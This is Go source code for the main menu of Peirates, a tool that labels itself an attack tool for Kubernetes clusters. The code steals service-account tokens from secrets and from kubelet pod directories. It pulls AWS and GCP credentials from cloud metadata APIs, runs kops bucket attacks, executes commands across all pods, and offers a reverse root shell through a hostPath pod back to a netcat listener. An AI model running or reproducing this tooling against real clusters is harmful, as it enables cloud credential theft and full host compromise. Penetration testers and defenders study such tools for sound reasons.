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peirates.go
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peirates.go
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package peirates
// Peirates - an Attack tool for Kubernetes clusters
import (
"encoding/base64"
"encoding/json"
"errors"
"fmt"
// L "github.com/inguardians/peirates/pkg"
"math/rand"
"net/url"
"os"
"os/exec"
"regexp"
"strings"
)
// Peirates version string
var version = "1.1.16"
// Verbosity mode - if set to true, DEBUG messages will be printed to STDOUT.
var Verbose bool
// Menu detail level
// - true: the "full" menu that Peirates had classically
// - false: a shorter menu of options - all options still work, but not all are shown
var fullMenu bool = true
// If this option is on, kubectl commands will be preceded with an auth can-i
// check. Note that this only checks against RBAC, such that admission
// controllers can still block an action that RBAC permits.
var UseAuthCanI bool = true
// AWS credentials currently in use.
var awsCredentials AWSCredentials
// Make room for an assumed role.
var assumedAWSrole AWSCredentials
// getPodList returns an array of running pod information, parsed from "kubectl -n namespace get pods -o json"
func getPodList(connectionString ServerInfo) []string {
if !kubectlAuthCanI(connectionString, "get", "pods") {
println("[-] Permission Denied: your service account isn't allowed to get pods")
return []string{}
}
responseJSON, _, err := runKubectlSimple(connectionString, "get", "pods", "-o", "json")
if err != nil {
fmt.Printf("[-] Error while getting pods: %s\n", err.Error())
return []string{}
}
type PodsResponse struct {
Items []struct {
Metadata struct {
Name string `json:"name"`
} `json:"metadata"`
} `json:"items"`
}
var response PodsResponse
err = json.Unmarshal(responseJSON, &response)
if err != nil {
fmt.Printf("[-] Error while getting pods: %s\n", err.Error())
return []string{}
}
pods := make([]string, len(response.Items))
for i, pod := range response.Items {
pods[i] = pod.Metadata.Name
}
return pods
}
// Get the names of the available Secrets from the current namespace and a list of service account tokens
func getSecretList(connectionString ServerInfo) ([]string, []string) {
if !kubectlAuthCanI(connectionString, "get", "secrets") {
println("[-] Permission Denied: your service account isn't allowed to list secrets")
return []string{}, []string{}
}
type SecretsResponse struct {
Items []struct {
Metadata struct {
Name string `json:"name"`
} `json:"metadata"`
Type string `json:"type"`
} `json:"items"`
}
secretsJSON, _, err := runKubectlSimple(connectionString, "get", "secrets", "-o", "json")
if err != nil {
fmt.Printf("[-] Error while getting secrets: %s\n", err.Error())
return []string{}, []string{}
}
var response SecretsResponse
err = json.Unmarshal(secretsJSON, &response)
if err != nil {
fmt.Printf("[-] Error while getting secrets: %s\n", err.Error())
return []string{}, []string{}
}
secrets := make([]string, len(response.Items))
var serviceAccountTokens []string
for i, secret := range response.Items {
secrets[i] = secret.Metadata.Name
if secret.Type == "kubernetes.io/service-account-token" {
serviceAccountTokens = append(serviceAccountTokens, secret.Metadata.Name)
}
}
return secrets, serviceAccountTokens
}
// inAPod() attempts to determine if we are running in a pod.
// Long-term, this will likely go away
// func inAPod(connectionString ServerInfo) bool {
// if os.Getenv("KUBERNETES_SERVICE_HOST") != "" {
// println("[+] You may be in a Kubernetes pod. API Server to be found at: ", os.Getenv("KUBERNETES_SERVICE_HOST"))
// return true
// } else {
// println("[-] You may not be in a Kubernetes pod. Press ENTER to continue.")
// var input string
// fmt.Scanln(&input)
// return false
// }
// }
func printListOfPods(connectionString ServerInfo) {
runningPods := getPodList(connectionString)
for _, listpod := range runningPods {
println("[+] Pod Name: " + listpod)
}
}
// execInAllPods() runs a command in all running pods
func execInAllPods(connectionString ServerInfo, command string) {
runningPods := getPodList(connectionString)
execInListPods(connectionString, runningPods, command)
}
// execInListPods() runs a command in all pods in the provided list
func execInListPods(connectionString ServerInfo, pods []string, command string) {
if !kubectlAuthCanI(connectionString, "exec", "pods") {
println("[-] Permission Denied: your service account isn't allowed to exec commands in pods")
return
}
println("[+] Running supplied command in list of pods")
for _, execPod := range pods {
execInPodOut, _, err := runKubectlSimple(connectionString, "exec", "-it", execPod, "--", "/bin/sh", "-c", command)
if err != nil {
fmt.Printf("[-] Executing %s in Pod %s failed: %s\n", command, execPod, err)
} else {
println(" ")
println(string(execInPodOut))
}
}
}
//-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
// Added mountFS code to create yaml file drop to disk and create a pod. |
//--------------------------------------------------------------------------|
// randSeq generates a LENGTH length string of random lowercase letters.
func randSeq(length int) string {
letters := []rune("abcdefghijklmnopqrstuvwxyz")
b := make([]rune, length)
/* #nosec G404 - the name of the pod created does not need to be random, though we should make the YAML file with mktemp */
for i := range b {
b[i] = letters[rand.Intn(len(letters))]
}
return string(b)
}
type AWSS3BucketObject struct {
Data string `json:"Data"`
}
// GetPodsInfo gets details for all pods in json output and stores in PodDetails struct
func GetPodsInfo(connectionString ServerInfo, podDetails *PodDetails) {
if !kubectlAuthCanI(connectionString, "get", "pods") {
println("[-] Permission Denied: your service account isn't allowed to get pods")
return
}
println("[+] Getting details for all pods")
podDetailOut, _, err := runKubectlSimple(connectionString, "get", "pods", "-o", "json")
println(string(podDetailOut))
if err != nil {
println("[-] Unable to retrieve details from this pod: ", err)
} else {
println("[+] Retrieving details for all pods was successful: ")
err := json.Unmarshal(podDetailOut, &podDetails)
if err != nil {
println("[-] Error unmarshaling data: ", err)
}
}
}
// PrintHostMountPoints prints all pods' host volume mounts parsed from the Spec.Volumes pod spec by GetPodsInfo()
func PrintHostMountPoints(podInfo PodDetails) {
println("[+] Getting all host mount points for pods in current namespace")
for _, item := range podInfo.Items {
// println("+ Host Mount Points for Pod: " + item.Metadata.Name)
for _, volume := range item.Spec.Volumes {
if volume.HostPath.Path != "" {
println("\tHost Mount Point: " + string(volume.HostPath.Path) + " found for pod " + item.Metadata.Name)
}
}
}
}
// PrintHostMountPointsForPod prints a single pod's host volume mounts parsed from the Spec.Volumes pod spec by GetPodsInfo()
func PrintHostMountPointsForPod(podInfo PodDetails, pod string) {
println("[+] Getting all Host Mount Points only for pod: " + pod)
for _, item := range podInfo.Items {
if item.Metadata.Name == pod {
for _, volume := range item.Spec.Volumes {
if volume.HostPath.Path != "" {
println("\tHost Mount Point: " + string(volume.HostPath.Path))
}
}
}
}
}
// GetRoles enumerates all roles in use on the cluster (in the default namespace).
// It parses all roles into a KubeRoles object.
func GetRoles(connectionString ServerInfo, kubeRoles *KubeRoles) {
println("[+] Getting all Roles")
rolesOut, _, err := runKubectlSimple(connectionString, "get", "role", "-o", "json")
if err != nil {
println("[-] Unable to retrieve roles from this pod: ", err)
} else {
println("[+] Retrieving roles was successful: ")
err := json.Unmarshal(rolesOut, &kubeRoles)
if err != nil {
println("[-] Error unmarshaling data: ", err)
}
}
}
func clearScreen(interactive bool) {
var err error
pauseToHitEnter(interactive)
c := exec.Command("clear")
c.Stdout = os.Stdout
err = c.Run()
if err != nil {
println("[-] Error running command: ", err)
}
}
func banner(connectionString ServerInfo, detectCloud string, eth0IP string, awsCredentials AWSCredentials, assumedAWSRole AWSCredentials, interactive bool) {
name, err := os.Hostname()
if err != nil {
panic(err)
}
// Experiment with removing the banner except when program first started.
// printBanner(interactive)
if connectionString.Token != "" {
fmt.Println("[+] Service Account Loaded :", connectionString.TokenName)
}
if connectionString.ClientCertData != "" {
fmt.Println("[+] Client Certificate/Key Pair Loaded:", connectionString.ClientCertName)
}
// Experiment with removing some status lines...
// var haveCa bool = false
// if connectionString.CAPath != "" {
// haveCa = true
// }
// fmt.Printf("[+] Certificate Authority Certificate : %t\n", haveCa)
// if len(connectionString.APIServer) > 0 {
// fmt.Println("[+] Kubernetes API Server :", connectionString.APIServer)
// }
if len(connectionString.Namespace) > 0 {
fmt.Println("[+] Current hostname/pod name :", name)
fmt.Println("[+] Current namespace :", connectionString.Namespace)
}
// Print out the eth0 interface's IP address if it exists
if len(eth0IP) > 0 {
fmt.Println("[+] IP address for eth0 :", eth0IP)
}
// If cloud has been detected, print it here.
if len(detectCloud) > 0 {
fmt.Println("[+] Cloud provider metadata API :", detectCloud)
}
// If we have an AWS role, print it here.
if len(assumedAWSRole.AccessKeyId) > 0 {
fmt.Println("[+] AWS IAM Credentials (assumed) :" + assumedAWSRole.AccessKeyId + " (" + assumedAWSRole.accountName + ")\n")
}
if len(awsCredentials.AccessKeyId) > 0 {
if len(awsCredentials.accountName) > 0 {
fmt.Println("[+] AWS IAM Credentials (available) : " + awsCredentials.AccessKeyId + " (" + awsCredentials.accountName + ")\n")
} else {
fmt.Println("[+] AWS IAM Credentials (available) : " + awsCredentials.AccessKeyId + "\n")
}
}
}
// GetNodesInfo runs kubectl get nodes -o json.
func GetNodesInfo(connectionString ServerInfo) {
println("[+] Getting details for all pods")
podDetailOut, _, err := runKubectlSimple(connectionString, "get", "nodes", "-o", "json")
println(string(podDetailOut))
if err != nil {
println("[-] Unable to retrieve node details: ", err)
}
}
type PodNamespaceContainerTuple struct {
PodName string
PodNamespace string
ContainerName string
}
//------------------------------------------------------------------------------------------------------------------------------------------------
// Main starts Peirates
func Main() {
var err error
detectCloud := populateAndCheckCloudProviders()
// Create a global variable named "connectionString" initialized to default values
connectionString := ImportPodServiceAccountToken()
cmdOpts := CommandLineOptions{connectionConfig: &connectionString}
// the interactive boolean tracks whether the user is running peirates in menu mode (true)
// or in command-line mode (false)
interactive := true
var podInfo PodDetails
// Run the option parser to initialize connectionStrings
parseOptions(&cmdOpts)
// Check whether the -m / --module flag has been used to run just a specific module instead
// of the menu.
if cmdOpts.moduleToRun != "" {
interactive = false
}
// List of service accounts gathered so far
var serviceAccounts []ServiceAccount
if len(connectionString.TokenName) > 0 {
AddNewServiceAccount(connectionString.TokenName, connectionString.Token, "Loaded at startup", &serviceAccounts)
}
// List of current client cert/key pairs
clientCertificates := []ClientCertificateKeyPair{}
// print the banner, so that any node credentials pulled are not out of place.
printBanner(interactive)
// Add the kubelet kubeconfig and authentication information if available.
err = checkForNodeCredentials(&clientCertificates)
if err != nil {
println("Problem with credentials: %v", err)
}
// If there are client certs, but no service accounts, switch to the first client cert
if (len(serviceAccounts) == 0) && (len(clientCertificates) > 0) {
assignAuthenticationCertificateAndKeyToConnection(clientCertificates[0], &connectionString)
}
// Add the service account tokens for any pods found in /var/lib/kubelet/pods/.
gatherPodCredentials(&serviceAccounts, interactive, false)
// Check environment variables - see KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT
// Watch the documentation on these variables for changes:
// https://kubernetes.io/docs/concepts/containers/container-environment-variables/
// Read AWS credentials from environment variables if present.
awsCredentials = PullIamCredentialsFromEnvironmentVariables()
// Collect the pod IP address if we are in a pod or on a node that has an eth0 interface.
eth0IP, err := GetMyIPAddress("eth0")
if err != nil {
eth0IP = ""
}
var input int
for ok := true; ok; ok = (input != 2) {
banner(connectionString, detectCloud, eth0IP, awsCredentials, assumedAWSrole, interactive)
var input string
var userResponse string
err := errors.New("empty")
if interactive {
printMenu()
input, err = ReadLineStripWhitespace()
if err != nil {
continue
}
} else {
fmt.Println("----------------------------------------------------------------")
input = cmdOpts.moduleToRun
fmt.Printf("\nAttempting menu option %s\n\n", input)
}
////////////////////////////////////////////////////////////////////////////////
// REFACTOR ADVICE: Make these next few use a loop with items like this:
//
// items["kubectl "] = &handleKubectlSpace()
////////////////////////////////////////////////////////////////////////////////
// Handle kubectl commands before the switch menu.
const kubectlSpace = "kubectl "
if strings.HasPrefix(input, kubectlSpace) {
// remove the kubectl, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, kubectlSpace)
arguments := strings.Fields(argumentsLine)
kubectlOutput, _, err := runKubectlSimple(connectionString, arguments...)
println(string(kubectlOutput))
// Note that we got an error code, in case it's the only output.
if err != nil {
println("[-] error returned running: ", input)
}
// Make sure not to go into the switch-case
pauseToHitEnter(interactive)
continue
}
// Handle kubectl-try-all requests
const kubectlTryAllSpace = "kubectl-try-all "
if strings.HasPrefix(input, kubectlTryAllSpace) {
// remove the kubectl-try-all, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, kubectlTryAllSpace)
arguments := strings.Fields(argumentsLine)
_, _, err := attemptEveryAccount(false, &connectionString, &serviceAccounts, &clientCertificates, arguments...)
// Note that we got an error code, in case it's the only output.
if err != nil {
println("[-] Could not perform action or received an error on: ", input)
}
// Make sure not to go into the switch-case
pauseToHitEnter(interactive)
continue
}
// Handle kubectl-try-all-until-success requests
const kubectlTryAllUntilSuccessSpace = "kubectl-try-all-until-success "
if strings.HasPrefix(input, kubectlTryAllUntilSuccessSpace) {
// remove the kubectl-try-all, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, kubectlTryAllUntilSuccessSpace)
arguments := strings.Fields(argumentsLine)
_, _, err := attemptEveryAccount(true, &connectionString, &serviceAccounts, &clientCertificates, arguments...)
// Note that we got an error code, in case it's the only output.
if err != nil {
println("[-] Could not perform action or received an error on: ", input)
}
// Make sure not to go into the switch-case
pauseToHitEnter(interactive)
continue
}
// Handle shell commands before the switch menu
const shellSpace = "shell "
const shell = "shell"
// Handle when the user doesn't know to put a command after "shell"
if input == shell {
println("Enter a command or type 'exit'")
input, err = ReadLineStripWhitespace()
if err != nil {
println("error in reading input" + err.Error())
continue
}
input = shellSpace + input
}
if strings.HasPrefix(input, shellSpace) {
// trim the newline, remove the shell, then split the rest on whitespace
input = strings.TrimSuffix(input, "\n")
for input != "" && input != "exit" {
argumentsLine := strings.TrimPrefix(input, shellSpace)
spaceDelimitedSet := strings.Fields(argumentsLine)
// pop the first item so we can pass it in separately
command, arguments := spaceDelimitedSet[0], spaceDelimitedSet[1:]
/* #gosec G204 - this code is intended to run arbitrary commands for the user */
cmd := exec.Command(command, arguments...)
out, err := cmd.CombinedOutput()
fmt.Printf("\n%s\n", string(out))
if err != nil {
println("running command failed with " + err.Error())
}
println("Enter another command or type 'exit'")
input, err = ReadLineStripWhitespace()
if err != nil {
println("error in reading input")
input = "exit"
}
}
// Make sure not to go into the switch-case
continue
}
const curlSpace = "curl "
if strings.HasPrefix(input, curlSpace) {
// remove the curl, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, curlSpace)
arguments := strings.Fields(argumentsLine)
// Pass the arguments to the curlNonWizard to construct a request object.
request, https, ignoreTLSErrors, caCertPath, err := curlNonWizard(arguments...)
if err != nil {
println("Could not create request.")
break
}
responseBody, err := DoHTTPRequestAndGetBody(request, https, ignoreTLSErrors, caCertPath)
responseBodyString := string(responseBody)
println(responseBodyString + "\n")
if err != nil {
println("Request produced an error.")
break
}
pauseToHitEnter(interactive)
continue
}
// Handle enumerate-dns before the interactive menu
// const enumerateDNS = "enumerate-dns"
// if strings.HasPrefix(input, enumerateDNS) {
// // Run the DNS enumeration
// enumerateDNS()
// pauseToHitEnter(interactive)
// continue
// }
// Peirates MAIN MENU
switch input {
// exit
case "exit", "quit":
os.Exit(0)
// [0] Run a kubectl command in the current namespace, API server and service account context
case "0", "90", "kubectl":
err = kubectl_interactive(connectionString)
// [1] List, maintain, or switch service account contexts [sa-menu] (try: listsa, switchsa)
case "switchsa", "saswitch", "switch-sa", "sa-switch":
switchServiceAccounts(serviceAccounts, &connectionString)
case "listsa", "list-sa", "salist", "sa-list":
listServiceAccounts(serviceAccounts, connectionString)
case "1", "sa-menu", "service-account-menu", "sa", "service-account":
println("Current primary service account: ", connectionString.TokenName)
println("\n")
println("[1] List service accounts [list]")
println("[2] Switch primary service account [switch]")
println("[3] Enter new service account JWT [add]")
println("[4] Export service accounts to JSON [export]")
println("[5] Import service accounts from JSON [import]")
println("[6] Decode a stored or entered service account token (JWT) [decode]")
println("[7] Display a stored service account token in its raw form [display]")
println("\n")
_, err = fmt.Scanln(&input)
switch strings.ToLower(input) {
case "1", "list":
listServiceAccounts(serviceAccounts, connectionString)
case "2", "switch":
switchServiceAccounts(serviceAccounts, &connectionString)
case "3", "add":
serviceAccount := acceptServiceAccountFromUser()
serviceAccounts = append(serviceAccounts, serviceAccount)
println("")
println("[1] Switch to this service account")
println("[2] Maintain current service account")
_, err = fmt.Scanln(&input)
switch input {
case "1":
assignServiceAccountToConnection(serviceAccount, &connectionString)
case "2":
break
default:
println("Input not understood - adding service account but not switching context")
}
println("")
case "4", "import":
serviceAccountJSON, err := json.Marshal(serviceAccounts)
if err != nil {
fmt.Printf("[-] Error exporting service accounts: %s\n", err.Error())
} else {
println(string(serviceAccountJSON))
}
case "5", "export":
var newserviceAccounts []ServiceAccount
err := json.NewDecoder(os.Stdin).Decode(&newserviceAccounts)
if err != nil {
fmt.Printf("[-] Error importing service accounts: %s\n", err.Error())
} else {
serviceAccounts = append(serviceAccounts, newserviceAccounts...)
fmt.Printf("[+] Successfully imported service accounts\n")
}
case "6", "decode":
var token string
println("\n1) Decode a JWT entered via a string.")
println("2) Decode a service account token stored here.")
println("Peirates:># ")
_, err = fmt.Scanln(&input)
switch input {
case "1":
println("\nEnter a JWT: ")
_, err = fmt.Scanln(&token)
printJWT(token)
case "2":
println("\nAvailable Service Accounts:")
for i, account := range serviceAccounts {
if account.Name == connectionString.TokenName {
fmt.Printf("> [%d] %s\n", i, account.Name)
} else {
fmt.Printf(" [%d] %s\n", i, account.Name)
}
}
println("\nEnter service account number or exit to abort: ")
var tokNum int
_, err = fmt.Scanln(&input)
if input == "exit" {
break
}
_, err := fmt.Sscan(input, &tokNum)
if err != nil {
fmt.Printf("Error parsing service account selection: %s\n", err.Error())
} else if tokNum < 0 || tokNum >= len(serviceAccounts) {
fmt.Printf("Service account %d does not exist!\n", tokNum)
} else {
printJWT(serviceAccounts[tokNum].Token)
}
}
case "7", "display":
displayServiceAccountTokenInteractive(serviceAccounts, &connectionString)
}
// [2] List and/or change namespaces [ns-menu] (try: listns, switchns)
case "list-ns", "listns", "nslist", "ns-list":
listNamespaces(connectionString)
case "switch-ns", "switchns", "nsswitch", "ns-switch":
menuSwitchNamespaces(&connectionString)
case "2", "ns-menu", "namespace-menu", "ns", "namespace":
println(`
[1] List namespaces [list]
[2] Switch namespace [switch]
`)
_, err = fmt.Scanln(&input)
switch input {
case "1", "list":
listNamespaces(connectionString)
case "2", "switch":
menuSwitchNamespaces(&connectionString)
default:
break
}
// [3] Get list of pods
case "3", "get-pods", "list-pods":
println("\n[+] Printing a list of Pods in this namespace......")
printListOfPods(connectionString)
//[4] Get complete info on all pods (json)
case "4", "dump-podinfo", "dump-pod-info":
GetPodsInfo(connectionString, &podInfo)
// [6] Enter AWS IAM credentials manually [enter-aws-credentials]
case "6", "enter-aws-credentials", "aws-creds":
credentials, err := EnterIamCredentialsForAWS()
if err != nil {
break
}
awsCredentials = credentials
println(" New AWS credentials are: \n")
DisplayAWSIAMCredentials(awsCredentials)
// [7] Attempt to Assume a Different AWS Role [aws-assume-role]
case "7", "aws-assume-role":
// Get role to assume
var input string
println("[+] Enter a role to assume, in the format arn:aws:iam::123456789012:role/roleName : ")
_, err = fmt.Scanln(&input)
iamArnValidationPattern := regexp.MustCompile(`arn:aws:iam::\d{12,}:\w+\/\w+`)
if !iamArnValidationPattern.MatchString(input) {
println("String entered isn't a AWS role name in the format requested.\n")
break
}
roleToAssume := strings.TrimSpace(input)
// Attempt to assume role.
roleAssumption, err := AWSSTSAssumeRole(awsCredentials, roleToAssume)
if err != nil {
break
}
assumedAWSrole = roleAssumption
// [8] Deactivate assumed AWS role [aws-empty-assumed-role]
case "8", "aws-empty-assumed-role", "empty-aws-assumed-role":
assumedAWSrole.AccessKeyId = ""
assumedAWSrole.accountName = ""
// [9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
case "9", "cert-menu":
println("Current certificate-based authentication: ", connectionString.ClientCertName)
println("\n")
println("[1] List client certificates [list]")
println("[2] Switch active client certificates [switch]")
// println("[3] Enter new client certificate and key [add]")
// println("[4] Export service accounts to JSON [export]")
// println("[5] Import service accounts from JSON [import]")
// println("[6] Decode a stored or entered service account token (JWT) [decode]")
println("\n")
_, err = fmt.Scanln(&input)
switch strings.ToLower(input) {
case "1", "list":
println("\nAvailable Client Certificate/Key Pairs:")
for i, account := range clientCertificates {
fmt.Printf(" [%d] %s\n", i, account.Name)
}
case "2", "switch":
println("\nAvailable Client Certificate/Key Pairs:")
for i, account := range clientCertificates {
fmt.Printf(" [%d] %s\n", i, account.Name)
}
println("\nEnter certificate/key pair number or exit to abort: ")
var tokNum int
_, err = fmt.Scanln(&input)
if input == "exit" {
break
}
_, err := fmt.Sscan(input, &tokNum)
if err != nil {
fmt.Printf("Error parsing certificate/key pair selection: %s\n", err.Error())
} else if tokNum < 0 || tokNum >= len(clientCertificates) {
fmt.Printf("Certificate/key pair %d does not exist!\n", tokNum)
} else {
assignAuthenticationCertificateAndKeyToConnection(clientCertificates[tokNum], &connectionString)
fmt.Printf("Selected %s\n", connectionString.ClientCertName)
}
}
// [10] Get secrets from API server
case "10", "list-secrets":
secrets, serviceAccountTokens := getSecretList(connectionString)
for _, secret := range secrets {
println("[+] Secret found: ", secret)
}
for _, svcAcct := range serviceAccountTokens {
println("[+] Service account found: ", svcAcct)
}
// [11] Get a service account token from a secret
case "11", "get-secret", "secret-to-sa":
println("\nPlease enter the name of the secret for which you'd like the contents: ")
var secretName string
_, err = fmt.Scanln(&secretName)
if !kubectlAuthCanI(connectionString, "get", "secret") {
println("[-] Permission Denied: your service account isn't allowed to get secrets")
break
}
secretJSON, _, err := runKubectlSimple(connectionString, "get", "secret", secretName, "-o", "json")
if err != nil {
println("[-] Could not retrieve secret")
break
}
var secretData map[string]interface{}
err = json.Unmarshal(secretJSON, &secretData)
secretType := secretData["type"].(string)
/* #gosec G101 - this is not a hardcoded credential */
if secretType != "kubernetes.io/service-account-token" {
println("[-] This secret is not a service account token.")
break
}
opaqueToken := secretData["data"].(map[string]interface{})["token"].(string)
token, err := base64.StdEncoding.DecodeString(opaqueToken)
if err != nil {
println("[-] ERROR: couldn't decode")
} else {
fmt.Printf("[+] Saved %s // %s\n", secretName, token)
AddNewServiceAccount(secretName, string(token), "Cluster Secret", &serviceAccounts)
}
// [5] Check all pods for volume mounts
case "5", "find-volume-mounts", "find-mounts":
println("[1] Get all host mount points [all]")
println("[2] Get volume mount points for a specific pod [single]")
println("\nPeirates:># ")
_, err = fmt.Scanln(&input)
GetPodsInfo(connectionString, &podInfo)
switch input {
case "1", "all":
println("[+] Getting volume mounts for all pods")
// BUG: Need to make it so this Get doesn't print all info even though it gathers all info.
PrintHostMountPoints(podInfo)
//MountRootFS(allPods, connectionString)
case "2", "single":
println("[+] Please provide the pod name: ")
_, err = fmt.Scanln(&userResponse)
fmt.Printf("[+] Printing volume mount points for %s\n", userResponse)
PrintHostMountPointsForPod(podInfo, userResponse)
}
// [20] Gain a reverse rootshell by launching a hostPath / pod
case "20", "attack-pod-hostpath-mount", "attack-hostpath-mount", "attack-pod-mount", "attack-hostmount-pod", "attack-mount-pod":
allPods := getPodList(connectionString)
// Before presenting all IP addresses, give the user the IP address for eth0 if available.
eth0IP, err := GetMyIPAddress("eth0")
if err != nil {
fmt.Println("IP address for eth0 is ", eth0IP)
}
println("Your IP addresses: ")
GetMyIPAddressesNative()
println("What IP and Port will your netcat listener be listening on?")
var ip, port string
println("IP:")
_, err = fmt.Scanln(&ip)
println("Port:")
_, err = fmt.Scanln(&port)
MountRootFS(allPods, connectionString, ip, port)
// [12] Request IAM credentials from AWS Metadata API [AWS only]
case "12", "get-aws-token":
// Pull IAM credentials from the Metadata API, store in a struct and display
result, err := PullIamCredentialsFromAWS()
if err != nil {
println("[-] Operation failed.")
break
}
awsCredentials = result
DisplayAWSIAMCredentials(awsCredentials)
// [13] Request IAM credentials from GCP Metadata API [GCP only]
case "13", "get-gcp-token":
// TODO: Store the GCP token and display, to bring this inline with the GCP functionality.
// Make a request for a list of service account(s)
var headers []HeaderLine
headers = []HeaderLine{
{"Metadata-Flavor", "Google"},
}
url := "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
svcAcctListRaw, _ := GetRequest(url, headers, false)
if (svcAcctListRaw == "") || (strings.HasPrefix(svcAcctListRaw, "ERROR:")) {
break
}
// Parse the output service accounts into svcAcctListLines
svcAcctListLines := strings.Split(string(svcAcctListRaw), "\n")
// For each line found found, request a token corresponding to that line and print it.
for _, line := range svcAcctListLines {
if strings.TrimSpace(string(line)) == "" {
continue
}
account := strings.TrimRight(string(line), "/")
fmt.Printf("\n[+] GCP Credentials for account %s\n\n", account)
token, _, err := GetGCPBearerTokenFromMetadataAPI(account)
if err == nil {
println(token)
}
}
println(" ")
// [14] Request kube-env from GCP Metadata API [GCP only]
case "14", "attack-kube-env-gcp":
// Make a request for kube-env, in case it is in the instance attributes, as with a number of installers
var headers []HeaderLine
headers = []HeaderLine{
{"Metadata-Flavor", "Google"},
}
kubeEnv, _ := GetRequest("http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env", headers, false)
if (kubeEnv == "") || (strings.HasPrefix(kubeEnv, "ERROR:")) {
println("[-] Error - could not perform request http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env/")
// TODO: Should we get error code the way we used to:
// fmt.Printf("[-] Attempt to get kube-env script failed with status code %d\n", resp.StatusCode)
break
}
kubeEnvLines := strings.Split(string(kubeEnv), "\n")
for _, line := range kubeEnvLines {
println(line)
}
// [15] Pull Kubernetes service account tokens from Kop's bucket in GCS [GCP only]
case "15", "attack-kops-gcs-1":
err := KopsAttackGCP(&serviceAccounts)
if err != nil {
println("Kops attack failed on GCP.")
}
pauseToHitEnter(interactive)
// [16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
case "16":
err := KopsAttackAWS(&serviceAccounts)
if err != nil {
println("Attack failed on AWS.")
}
pauseToHitEnter(interactive)
case "17", "aws-s3-ls", "aws-ls-s3", "ls-s3", "s3-ls":
// [17] List AWS S3 Buckets accessible (Auto-Refreshing Metadata API credentials) [AWS]
var credentialsToUse AWSCredentials
if len(assumedAWSrole.AccessKeyId) > 0 {
credentialsToUse = assumedAWSrole
} else if len(awsCredentials.AccessKeyId) > 0 {
credentialsToUse = awsCredentials
} else {
println("Pulling AWS credentials from the metadata API.")
result, err := PullIamCredentialsFromAWS()
if err != nil {
println("[-] Could not get AWS credentials from metadata API.")
break
}
println("[+] Got AWS credentials from metadata API.")
awsCredentials = result
credentialsToUse = awsCredentials
}
result, err := ListAWSBuckets(credentialsToUse)
if err != nil {
println("List bucket operation failed.")
break
}
for _, bucket := range result {
println(bucket)
}